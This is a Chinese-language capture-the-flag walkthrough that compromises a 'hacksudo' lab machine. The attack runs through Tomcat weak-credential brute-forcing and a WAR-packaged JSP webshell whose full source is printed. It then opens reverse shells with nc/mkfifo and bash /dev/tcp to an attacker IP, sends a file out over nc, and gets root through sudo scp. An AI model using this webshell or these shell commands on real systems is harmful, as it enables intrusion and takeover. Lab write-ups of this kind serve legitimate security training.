信息收集
主机发现
nmap 192.168.31.0/24 -Pn -T4
靶机ip:192.168.31.131
端口扫描
nmap 192.168.31.131 -A -p- -T4
开放了80,8080,2222端口,其中2222端口是ssh服务。
web信息收集
80端口
访问80端口,登录框和注册框。登录框尝试了弱口令,无果;注册框注册后跳出弹框后报错prompt("New record created successfully");'; header("Location:http://localhost/JIU/index.php"); } else { echo ''; header("Location:http://localhost/JIU/index.php"); echo "Error: " . $sql . "" . mysqli_error($conn); } } ?>
告诉我们新用户已创建成功,但是站点的sql相关代码应该有问题报错了,所以创新用户并没有写入到数据库中。
目录扫描
dirsearch -u http://192.168.31.131
首先,重点关注两个文件info.txt和users.sql,不出所料,在这两个文件中发现两组邮箱密码,还提示了products.sql,访问后没有什么发现。
两组邮箱和密码尝试登录,失败。
其他目录也看看。/admin.php,访问后显示已登录,两个选项点进去都看了看,整个网站的源码改的乱七八糟看着乱乱的,没什么发现,总体来说就是sql相关代码有问题,到处都在报错。
换个字典进行目录扫描。
gobuster dir -u http://192.168.31.131 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,js,jpg,png,txt
得到两个新路径。
get flag1.txt!
8080端口
直接访问,发现是tomcat管理页面,渗透思路考虑tomcat后台弱口令war包上传漏洞。
渗透
tomcat弱口令+war包上传
网站管理员并未删除tomcat默认后台页面,tomcat弱口令+war包上传。开启msf开始渗透,先获取账号密码。
search tomcat login
use auxiliary/scanner/http/tomcat_mgr_login
options
set rhosts 192.168.31.131
run
admin/admin,tomcat/tomcat
将get.jsp木马(连接密码是passwd)压缩成zip文件,再修改为.war后缀,最后上传到tomcat。
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
可以看到已经上传成功。
蚁剑连接。注意连接类型是jsp,如果没有jsp选项,更新蚁剑即可。
连接成功后进入虚拟终端,发现两个用户hacksudo,vishal。get flag2.txt.
hacksudo家目录下有user.txt,但是当前无权限读取。
反弹shell
由于蚁剑的虚拟终端能做的操作有限,所以需要反弹shell。
# 蚁剑虚拟终端
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.219 6666 > /tmp/f
# 攻击机
nc -lvp 6666
提权
存在两个用户,查看用户目录除了flag文件还有其他发现。
/home/hacksudo/getmanager,都是乱码,乱码中提到了/home/vishal/office/manage.sh。
查看manage.sh权限,可读可写可执行,内容如下:
如果manage.sh是定时任务那就太好了,可以尝试写入反弹shell。查一下定时任务,发现每分钟都会执行getmanager。
尝试将反弹shell写入manage.sh,提示权限不够。继续信息收集,在/var/backups/hacksudo下有三个文件,分别是hacksudo.zip,log.txt,vishal.jpg。zip文件就是hacksudo的备份文件压缩包。log.txt提示steghide图片隐写?
下载vishal.jpg到本地。下载完成后在攻击机终端ctrl+c即可。
# 攻击机
nc -nlvp 7777 > vishal.jpg
# 靶机
nc 192.168.31.219 7777 < vishal.jpg
steghide处理图片隐写,提示需要密码,先用stegseek爆破密码。
stegseek --crack vishal.jpg /usr/share/wordlists/rockyou.txt output.txt
密码是:iloveyou
得到密码后steghide将隐藏信息从载体中分离出来。
steghide extract -sf vishal.jpg
一串字符,前面纯字母部分像是偏移类加密。
onpxhc bs unpxfhqb znpuvar hfre hfre ivfuny cnffjbeq 985nn195p09so7q64n4oo24psr51so1s13rop444p494r765rr99q6p3rs46557p757787s8s5n6r0260q2r0r846q263sosor1311p884oo0os9792s8778n4434327
凯撒密码解密,测试发现偏移量是13(后面发现其实有个密码叫rot族密码,这里其实是rot族中的rot13)。解密后提示hacksudo机器用户vishal的密码是后面一段字符串。
backup of hacksudo machine user user vishal password 985aa195c09fb7d64a4bb24cfe51fb1f13ebc444c494e765ee99d6c3ef46557c757787f8f5a6e0260d2e0e846d263fbfbe1311c884bb0bf9792f8778a4434327
后面三行字符串是哈希加密,SHA-512,解密结果是hacker。
切换到vishal用户,向manage.sh写入反弹shell脚本。
echo "bash -c 'bash -i >& /dev/tcp/192.168.31.219/8888 0>&1'" > manage.sh
get user.txt
sudo提权
sudo -l
scp | GTFOBins查看利用方式。
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo -u root scp -S $TF x y:
处理一下使用python获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
get root.txt!🎆